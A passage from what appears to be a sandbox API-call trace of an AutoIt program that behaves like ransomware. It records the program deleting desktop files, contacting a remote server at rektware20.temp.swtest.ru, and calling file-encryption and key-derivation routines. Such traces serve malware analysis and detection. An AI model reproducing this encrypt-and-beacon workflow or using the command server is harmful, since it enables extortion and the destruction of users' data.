dwFlags=0x0) returned 1 [0075.986] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.986] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.986] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.986] FreeLibrary (hLibModule=0x74c60000) returned 1 [0075.986] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.986] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.987] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.988] CloseHandle (hObject=0x3d0) returned 1 [0075.990] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.990] CloseHandle (hObject=0x3d8) returned 1 [0075.992] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.995] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.995] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", lpFilePart=0x0) returned 0x2c [0075.995] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lmtljc6f9n.csv")) returned 0x20 [0075.995] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0075.996] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lmtljc6f9n.csv")) returned 1 [0075.999] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0075.999] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0076.000] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0076.000] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.000] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.000] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.000] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0076.000] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0076.000] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.000] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0076.000] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0076.000] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0076.000] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0076.001] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c) returned 1 [0076.001] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0076.001] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0076.001] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0076.002] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0076.002] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0076.002] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0076.002] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629220, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629220*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0076.002] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0076.002] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0076.003] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0076.003] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0076.003] CloseHandle (hObject=0x0) returned 0 [0076.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="71RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RW8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CDG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DG5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NPvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PvgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vgfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gfQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fQ1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0076.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.005] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.005] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0076.005] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0076.005] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0076.005] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0076.005] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0076.005] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0076.005] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0076.005] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c) returned 1 [0076.005] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0076.005] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0076.005] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0076.006] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0076.006] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0076.006] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0076.006] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0076.006] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629480, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629480*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0076.006] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0076.007] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0076.007] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0076.007] CloseHandle (hObject=0x0) returned 0 [0076.007] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.007] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0076.007] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0076.007] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.007] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0076.007] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.007] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0076.007] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0076.007] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.007] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0076.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.008] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0076.008] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.008] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.008] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.008] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0076.008] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0076.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0076.008] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0076.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0076.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0076.009] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0076.009] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0076.009] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.009] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.009] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0076.010] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.010] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0076.010] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.010] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0076.010] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.010] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.010] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0076.010] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, 